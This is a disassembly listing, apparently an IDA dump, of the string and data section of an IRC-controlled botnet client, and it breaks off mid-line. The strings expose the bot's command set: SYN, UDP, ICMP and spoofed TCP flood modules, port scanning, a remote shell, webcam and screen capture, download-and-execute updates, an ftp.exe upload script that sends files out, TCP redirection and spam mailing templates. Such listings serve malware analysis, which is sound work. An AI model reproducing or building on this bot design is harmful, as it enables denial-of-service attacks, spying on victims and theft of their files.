.nsp0:0040982Co align 4 asc_43037C: ; DATA XREF: .nsp0:004097FCo unicode 0, <~>,0 unk_430380 db 2Dh ; - ; DATA XREF: .nsp0:004097ABo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 unk_4303A4 db 2Dh ; - ; DATA XREF: .nsp0:00409741o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_4303CC db 2Dh ; - ; DATA XREF: .nsp0:004096FBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 10h unk_4303F0 db 2Dh ; - ; DATA XREF: .nsp0:004096DBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_430414 db 2Dh ; - ; DATA XREF: .nsp0:004096BEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_430438 db 2Dh ; - ; DATA XREF: .nsp0:0040969Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_43045C dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: .nsp0:0040967Do dd 2E732520h, 0 unk_430478 db 2Dh ; - ; DATA XREF: .nsp0:loc_4095FDo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_4304A4 db 2Dh ; - ; DATA XREF: .nsp0:004095F6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_4304C8 db 2Dh ; - ; DATA XREF: .nsp0:loc_409575o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4304F0 db 2Dh ; - ; DATA XREF: .nsp0:0040956Bo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: .nsp0:00409551o unk_43051C db 2Dh ; - ; DATA XREF: .nsp0:00409447o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_430544 db 2Dh ; - ; DATA XREF: .nsp0:loc_40942Eo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_430568 db 2Dh ; - ; DATA XREF: .nsp0:00409424o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_430588 db 2Dh ; - ; DATA XREF: .nsp0:004093F7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 10h unk_4305B0 db 2Dh ; - ; DATA XREF: .nsp0:loc_4093D7o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4305D8 db 2Dh ; - ; DATA XREF: .nsp0:004093A9o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4305F8 db 2Dh ; - ; DATA XREF: .nsp0:loc_40936Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_430628 db 2Dh ; - ; DATA XREF: .nsp0:00409362o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_430648 db 2Dh ; - ; DATA XREF: .nsp0:loc_409308o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_430678 db 2Dh ; - ; DATA XREF: .nsp0:00409301o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_43069C dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: .nsp0:004092BFo dd 27732527h, 2Eh unk_4306B8 db 2Dh ; - ; DATA XREF: .nsp0:004092A5o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 4 unk_4306F4 db 2Dh ; - ; DATA XREF: .nsp0:00409236o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_430718 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: .nsp0:004091C2o dd 0 unk_430730 db 2Dh ; - ; DATA XREF: .nsp0:00409194o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_430770 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: .nsp0:00409125o dd 2Eh dword_430788 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: .nsp0:loc_409076o dd 746E6573h, 2Eh unk_4307A4 db 2Dh ; - ; DATA XREF: .nsp0:0040906Fo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_4307C4 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: .nsp0:00409036o dd 732520h unk_4307DC db 2Dh ; - ; DATA XREF: .nsp0:00409028o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_430808: ; DATA XREF: .nsp0:00409010o ; .nsp0:0040FF69o ... dw 0Ah unicode 0, <>,0 unk_43080C db 2Dh ; - ; DATA XREF: .nsp0:00408FE6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_430830 db 2Dh ; - ; DATA XREF: .nsp0:00408FD0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_430854 db 2Dh ; - ; DATA XREF: .nsp0:loc_408F5Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_430894 db 2Dh ; - ; DATA XREF: .nsp0:loc_408F51o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_4308D4 db 2Dh ; - ; DATA XREF: .nsp0:00408F47o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h unk_430900 db 2Dh ; - ; DATA XREF: .nsp0:loc_408EB0o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 4 unk_430938 db 2Dh ; - ; DATA XREF: .nsp0:loc_408EA9o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_43096C db 2Dh ; - ; DATA XREF: .nsp0:00408E99o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: .nsp0:loc_408E22o align 10h unk_4309A0 db 2Dh ; - ; DATA XREF: .nsp0:00408E15o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 unk_4309C8 db 2Dh ; - ; DATA XREF: .nsp0:00408DE2o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 10h aDrivers db 'drivers',0 ; DATA XREF: .nsp0:loc_408D95o unk_4309F8 db 2Dh ; - ; DATA XREF: .nsp0:loc_408D82o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_430A34 db 2Dh ; - ; DATA XREF: .nsp0:loc_408D7Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_430A64 db 2Dh ; - ; DATA XREF: .nsp0:00408D6Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: .nsp0:loc_408D3Ao align 4 dword_430A98 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: .nsp0:00408D22o dd 2E732520h, 0 unk_430AB4 db 2Dh ; - ; DATA XREF: .nsp0:00408CDFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_430AE4 db 2Dh ; - ; DATA XREF: .nsp0:00408CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_430B0C db 2Dh ; - ; DATA XREF: .nsp0:00408C1Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_430B2C db 2Dh ; - ; DATA XREF: .nsp0:00408BDFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_430B4C db 2Dh ; - ; DATA XREF: .nsp0:00408B85o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_430B68 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: .nsp0:00408B16o dword_430B7C dd 54524150h, 0D732520h, 0Ah ; .nsp0:0040968Ao unk_430B88 db 2Dh ; - ; DATA XREF: .nsp0:00408AB2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00408AA4o align 10h dword_430BB0 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: .nsp0:00408A79o dd 25203A29h, 73h dword_430BCC dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: .nsp0:00408A0Do dd 203A2973h, 7325h dword_430BE8 dd 45444F4Dh, 732520hdword_430BF0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: .nsp0:00408985o dd 203A2973h, 7325h dword_430C0C dd 4E494F4Ah, 20732520h, 7325hdword_430C18 dd 0A0D7325h, 0 ; .nsp0:00408966o ... dword_430C20 dd 54524150h, 732520hdword_430C28 dd 234032Dh, 67726174h, 3023361haFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_430C64 dd 234032Dh, 67726174h, 3023361haFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h unk_430C90 db 2Dh ; - ; DATA XREF: .nsp0:00408797o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_430CCC db 2Dh ; - ; DATA XREF: .nsp0:0040872Co db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_430D00 db 2Dh ; - ; DATA XREF: .nsp0:loc_4086BAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_430D34 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: .nsp0:0040867Fo dd 7325h dword_430D4C dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: .nsp0:loc_4085EBo dword_430D60 dd 25207325h, 73252073h, 73253A20h, 0 ; .nsp0:00408659o ... dword_430D70 dd 234032Dh, 61647075h, 3026574h, 6F42202Dh, 44492074h ; DATA XREF: .nsp0:loc_40854Ao dd 73756D20h, 65622074h, 66696420h, 65726566h, 7420746Eh dd 206E6168h, 72727563h, 20746E65h, 6E6E7572h, 20676E69h dd 636F7270h, 2E737365h, 0 dd 234032Dh, 61647075h, 3026574h aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dd 234032Dh, 61647075h, 3026574h aDownloadingUpd db '- Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 align 4 dword_430E2C dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: .nsp0:004083CDo dd 7325203Ah, 0 unk_430E48 db 2Dh ; - ; DATA XREF: .nsp0:004083C2o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_430E6C db 2Dh ; - ; DATA XREF: .nsp0:00408328o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStartS db 'Failed to start search thread, error: <%d>.',0 unk_430EA8 db 2Dh ; - ; DATA XREF: .nsp0:004082B2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_430ED8 dd 234032Dh, 656C6966h, 2D0302h ; .nsp0:loc_4092C6o unk_430EE4 db 2Dh ; - ; DATA XREF: .nsp0:004081DAo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_430F08 db 2Dh ; - ; DATA XREF: .nsp0:loc_4081B8o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_430F40 db 2Dh ; - ; DATA XREF: .nsp0:004081AEo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_430F78 db 2Dh ; - ; DATA XREF: .nsp0:00408138o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_430FA4 dd 234032Dh, 6E6F6C63h, 3027365haFailedToStar_2 db '- Failed to start clone thread, error: <%d>.',0 align 10h dword_430FE0 dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_431010 db 2Dh ; - ; DATA XREF: .nsp0:00407FD9o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_431048 db 2Dh ; - ; DATA XREF: .nsp0:00407F67o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_431078 db 2Dh ; - ; DATA XREF: .nsp0:00407EE0o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_4310B0 db 2Dh ; - ; DATA XREF: .nsp0:00407E6Eo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_4310E0 db 2Dh ; - ; DATA XREF: .nsp0:00407DF8o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_431118 db 2Dh ; - ; DATA XREF: .nsp0:00407D86o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_431154 db 2Dh ; - ; DATA XREF: .nsp0:00407D10o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_431194 db 2Dh ; - ; DATA XREF: .nsp0:00407CA1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_4311C0 db 2Dh ; - ; DATA XREF: .nsp0:00407BD5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_431204 db 2Dh ; - ; DATA XREF: .nsp0:00407B66o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_431240 db 2Dh ; - ; DATA XREF: .nsp0:00407A6Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: .nsp0:004079E8o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: .nsp0:004078E6o align 4 dword_43129C dd 54434101h, 204E4F49h, 17325h ; .nsp0:00408B62o unk_4312A8 db 2Dh ; - ; DATA XREF: .nsp0:004077F1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_4312E4 db 2Dh ; - ; DATA XREF: .nsp0:00407782o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_431334 db 2Dh ; - ; DATA XREF: .nsp0:004076EBo ; .nsp0:00407ADBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_43136C db 2Dh ; - ; DATA XREF: .nsp0:0040767Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_4313D4 db 2Dh ; - ; DATA XREF: .nsp0:00407506o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 4 unk_431408 db 2Dh ; - ; DATA XREF: .nsp0:004074A9o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_43143C db 2Dh ; - ; DATA XREF: .nsp0:loc_407389o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_43146C db 2Dh ; - ; DATA XREF: .nsp0:00407382o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: .nsp0:00407369o aSS_3 db '-s:%s',0 ; DATA XREF: .nsp0:00407352o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: .nsp0:00407332o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: .nsp0:0040730Eo ; .nsp0:00412263o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: .nsp0:004072FDo align 4 unk_4314DC db 2Dh ; - ; DATA XREF: .nsp0:004072A4o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 unk_4314FC db 2Dh ; - ; DATA XREF: .nsp0:0040724Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_43153C db 2Dh ; - ; DATA XREF: .nsp0:004071EEo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_431574 db 2Dh ; - ; DATA XREF: .nsp0:00407183o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_4315BC db 2Dh ; - ; DATA XREF: .nsp0:004070D5o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_4315F0 db 2Dh ; - ; DATA XREF: .nsp0:004070A1o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_431624 db 2Dh ; - ; DATA XREF: .nsp0:0040707Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_43165C db 2Dh ; - ; DATA XREF: .nsp0:00406FDBo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: .nsp0:00406FBEo align 10h unk_4316B0 db 2Dh ; - ; DATA XREF: .nsp0:00406FA9o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_4316E8 db 2Dh ; - ; DATA XREF: .nsp0:00406F3Ao db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_431730 db 2Dh ; - ; DATA XREF: .nsp0:loc_406E8Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_431768 db 2Dh ; - ; DATA XREF: .nsp0:00406E76o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_4317A0 db 2Dh ; - ; DATA XREF: .nsp0:00406DFCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: .nsp0:00406DECo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: .nsp0:00406DE5o unk_4317E4 db 2Dh ; - ; DATA XREF: .nsp0:00406D50o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aAck db 'ack',0 ; DATA XREF: .nsp0:00406D29o aHcon db 'hcon',0 ; DATA XREF: .nsp0:00406CB3o align 4 aHttpcon db 'httpcon',0 ; DATA XREF: .nsp0:00406CA0o unk_431824 db 2Dh ; - ; DATA XREF: .nsp0:00406C51o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: .nsp0:00406BDDo db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aUsa db 'usa',0 ; DATA XREF: .nsp0:00406ADBo aTcpflood db 'tcpflood',0 ; DATA XREF: .nsp0:00406AC4o align 4 aPing_0 db 'ping',0 ; DATA XREF: .nsp0:00406A96o align 4 aPingflood db 'pingflood',0 ; DATA XREF: .nsp0:00406A7Fo align 4 aNs db 'ns',0 ; DATA XREF: .nsp0:00406A68o align 4 aNetsend db 'netsend',0 ; DATA XREF: .nsp0:00406A51o aPu1 db 'pu1',0 ; DATA XREF: .nsp0:00406A23o aUdpflood db 'udpflood',0 ; DATA XREF: .nsp0:00406A0Co align 4 aAdvscan db 'advscan',0 ; DATA XREF: .nsp0:004069DEo aPsc db 'psc',0 ; DATA XREF: .nsp0:004069C7o aPortscan db 'portscan',0 ; DATA XREF: .nsp0:004069B0o align 4 aC_a db 'c_a',0 ; DATA XREF: .nsp0:0040698Ao aC_action db 'c_action',0 ; DATA XREF: .nsp0:00406973o align 4 aC_pm db 'c_pm',0 ; DATA XREF: .nsp0:0040695Co align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: .nsp0:00406945o align 10h aSc db 'sc',0 ; DATA XREF: .nsp0:0040692Eo align 4 aScan db 'scan',0 ; DATA XREF: .nsp0:00406917o align 4 aRd db 'rd',0 ; DATA XREF: .nsp0:00406900o align 10h aRedirect db 'redirect',0 ; DATA XREF: .nsp0:004068E9o align 4 aD1 db 'd1',0 ; DATA XREF: .nsp0:004068D2o align 10h aDownload1 db 'download1',0 ; DATA XREF: .nsp0:004068BBo align 4 aWonk db 'wonk',0 ; DATA XREF: .nsp0:004068A4o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: .nsp0:0040688Do align 10h dword_431950 dd 234032Dh, 73796B73h, 3026E79haFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_43198C dd 234032Dh, 73796B73h, 3026E79haFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: .nsp0:0040678Eo align 4 aSy1 db 'sy1',0 ; DATA XREF: .nsp0:00406777o ; .nsp0:00406D11o aSyod db 'syod',0 ; DATA XREF: .nsp0:00406760o align 10h unk_4319D0 db 2Dh ; - ; DATA XREF: .nsp0:00406753o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: .nsp0:0040667Co align 4 aUsa_rm db 'usa.rm',0 ; DATA XREF: .nsp0:00406665o align 4 aUsa_ack db 'usa.ack',0 ; DATA XREF: .nsp0:0040664Eo aUsa_syn db 'usa.syn',0 ; DATA XREF: .nsp0:00406637o aClone_0 db 'clone',0 ; DATA XREF: .nsp0:00406609o align 4 aIcmp db 'icmp',0 ; DATA XREF: .nsp0:004065E0o align 4 aIcmpflood db 'icmpflood',0 ; DATA 